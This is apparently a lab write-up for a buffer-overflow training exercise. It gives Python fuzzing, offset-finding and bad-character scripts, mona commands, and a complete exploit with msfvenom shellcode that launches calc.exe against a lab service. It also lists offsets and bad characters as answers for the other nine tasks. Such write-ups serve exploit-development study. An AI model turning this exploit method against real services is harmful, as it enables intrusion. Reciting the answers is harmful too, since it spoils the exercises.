Buffer Overflow Prep
Get started with Buffer Overflows
OVERFLOW1
The script and the modifications are only explained in OVERFLOW1, OVERFLOW2 - 10 only contain the solutions.
The following script was used for fuzzing:
0import socket, sys, time
1
2
3ip = '10.0.2.57' # Change this
4port = 1337 # Change this
5
6buffer = 'OVERFLOW1 '
7buffer += 'A' * 100
8
9while True:
10 try:
11 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12 data = bytes(buffer, 'latin-1')
13 s.settimeout(5)
14 s.connect((ip, port))
15 #s.recv(1024)
16 print('Fuzzing with {} bytes'.format(len(data)))
17 s.send(data)
18 s.recv(1024)
19 except:
20 print('Fuzzing crashed at {}'.format(len(data)-10))
21 sys.exit(0)
22 buffer += 'A' * 100
23 time.sleep(1)
The fuzzing crashed at 2100 bytes, now it's time to find the exact offset to overwrite the EIP.
pattern_create.rb was used to create a unique string pattern with a length of 300 bytes.
Script:
0import socket, sys, time
1
2
3ip = '10.0.2.57' # Change this
4port = 1337 # Change this
5
6buffer = 'OVERFLOW1 '
7buffer += 'A' * 1900
8buffer += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9'
9
10
11try:
12 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
13 data = bytes(buffer, 'latin-1')
14 s.settimeout(5)
15 s.connect((ip, port))
16 #s.recv(1024)
17 print('Sending payload')
18 s.send(data)
19 s.recv(1024)
20except Exception as e:
21 print(e)
22 sys.exit(0)
EIP now stores the value 41366341
, time to check the exact offset using pattern_offset.rb:
0┌─[user@parrot-virtual]─[~/Desktop/BOF_PREP/1]
1└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 300 -q 41366341
2[*] Exact match at offset 78
1900+78=1978 which is the exact offset to overwrite EIP. We can make sure the offset is correct by modifying the script like the following and then checking if EIP stores 42424242:
0[...]
1buffer = 'OVERFLOW1 '
2buffer += 'A' * 1978
3buffer += 'B' * 4
4[...]
Next, it's time to find potential bad characters. To do so create a bytearray from \x01
to \xff
in Immunity using Mona:
!mona bytearray -b "\x00"
Afterwards, append the bytearray to your payload and send it to the binary:
0import socket, sys, time
1
2
3ip = '10.0.2.57' # Change this
4port = 1337 # Change this
5
6buffer = 'OVERFLOW1 '
7buffer += 'A' * 1978
8buffer += 'B' * 4
9buffer += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
10
11try:
12 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
13 data = bytes(buffer, 'latin-1')
14 s.settimeout(5)
15 s.connect((ip, port))
16 #s.recv(1024)
17 print('Sending payload')
18 s.send(data)
19 s.recv(1024)
20except Exception as e:
21 print(e)
22 sys.exit(0)
As described in my BOF cheat sheet there are multiple ways to check for bad characters, here we will use mona. After sending the payload containing all the bytes take a note of the value stored in ESP (0x0108FA18) and use the following mona command to check for bad chars:
!mona compare -f C:\bytearray.bin -a 0x0108FA18
Bad chars might affect might corrupt the next characters as well or even the whole string so this method is not 100% accurate at the first run.
The only step left is to add a padding and find a jump point. The jump point can be found with the following command (an alternative is described in my cheat sheet):
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Final script:
0import socket, sys, time
1
2
3ip = '10.0.2.57' # Change this
4port = 1337 # Change this
5
6buffer = b'OVERFLOW1 '
7buffer += b'A' * 1978
8retn = b'\xc7\x11\x50\x62'
9padding = b'\x90' * 16
10shellcode = b""
11shellcode += b"\xb8\x54\x8f\x86\xdb\xdd\xc5\xd9\x74\x24\xf4"
12shellcode += b"\x5a\x29\xc9\xb1\x31\x83\xea\xfc\x31\x42\x0f"
13shellcode += b"\x03\x42\x5b\x6d\x73\x27\x8b\xf3\x7c\xd8\x4b"
14shellcode += b"\x94\xf5\x3d\x7a\x94\x62\x35\x2c\x24\xe0\x1b"
15shellcode += b"\xc0\xcf\xa4\x8f\x53\xbd\x60\xbf\xd4\x08\x57"
16shellcode += b"\x8e\xe5\x21\xab\x91\x65\x38\xf8\x71\x54\xf3"
17shellcode += b"\x0d\x73\x91\xee\xfc\x21\x4a\x64\x52\xd6\xff"
18shellcode += b"\x30\x6f\x5d\xb3\xd5\xf7\x82\x03\xd7\xd6\x14"
19shellcode += b"\x18\x8e\xf8\x97\xcd\xba\xb0\x8f\x12\x86\x0b"
20shellcode += b"\x3b\xe0\x7c\x8a\xed\x39\x7c\x21\xd0\xf6\x8f"
21shellcode += b"\x3b\x14\x30\x70\x4e\x6c\x43\x0d\x49\xab\x3e"
22shellcode += b"\xc9\xdc\x28\x98\x9a\x47\x95\x19\x4e\x11\x5e"
23shellcode += b"\x15\x3b\x55\x38\x39\xba\xba\x32\x45\x37\x3d"
24shellcode += b"\x95\xcc\x03\x1a\x31\x95\xd0\x03\x60\x73\xb6"
25shellcode += b"\x3c\x72\xdc\x67\x99\xf8\xf0\x7c\x90\xa2\x9e"
26shellcode += b"\x83\x26\xd9\xec\x84\x38\xe2\x40\xed\x09\x69"
27shellcode += b"\x0f\x6a\x96\xb8\x74\x94\x74\x69\x80\x3d\x21"
28shellcode += b"\xf8\x29\x20\xd2\xd6\x6d\x5d\x51\xd3\x0d\x9a"
29shellcode += b"\x49\x96\x08\xe6\xcd\x4a\x60\x77\xb8\x6c\xd7"
30shellcode += b"\x78\xe9\x0e\xb6\xea\x71\xff\x5d\x8b\x10\xff"
31#msfvenom -p windows/exec CMD="calc.exe" -b "\x00\x07\x2e\xa0" EXITFUNC=thread -f py -v shellcode
32
33payload = buffer + retn + padding + shellcode
34
35try:
36 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
37 s.settimeout(5)
38 s.connect((ip, port))
39 #s.recv(1024)
40 print('Sending payload')
41 s.send(payload)
42 s.recv(1024)
43except Exception as e:
44 print(e)
45 sys.exit(0)
Offset: 1978
Bad Chars: \x00\x07\x2e\xa0
OVERFLOW2
Offset: 634
Bad Chars: \x00\x23\x3c\x83\xba
OVERFLOW3
Offset: 1274
Bad Chars: \x00\x11\x40\x5f\xb8\xee
OVERFLOW4
Offset : 2026
Bad Chars: \x00\xa9\xcd\xd4
OVERFLOW5
Offset: 314
Bad Chars: \x00\x16\x2f\xf4\xfd
OVERFLOW6
Offset: 1034
Bad Chars: \x00\x08\x2c\xad
OVERFLOW7
Offset: 1306
Bad Chars: \x00\x8c\xae\xbe\xfb
OVERFLOW8
Offset: 1786
Bad Chars: \x00\x1d\x2e\xc7\xee
OVERFLOW9
Offset: 1514
Bad Chars: \x00\x04\x3e\x3f\xe1
OVERFLOW10
Offset: 537
Bad Chars: \x00\xa0\xad\xbe\xde\xef
My Final Scripts
All my final PoC scripts can be found here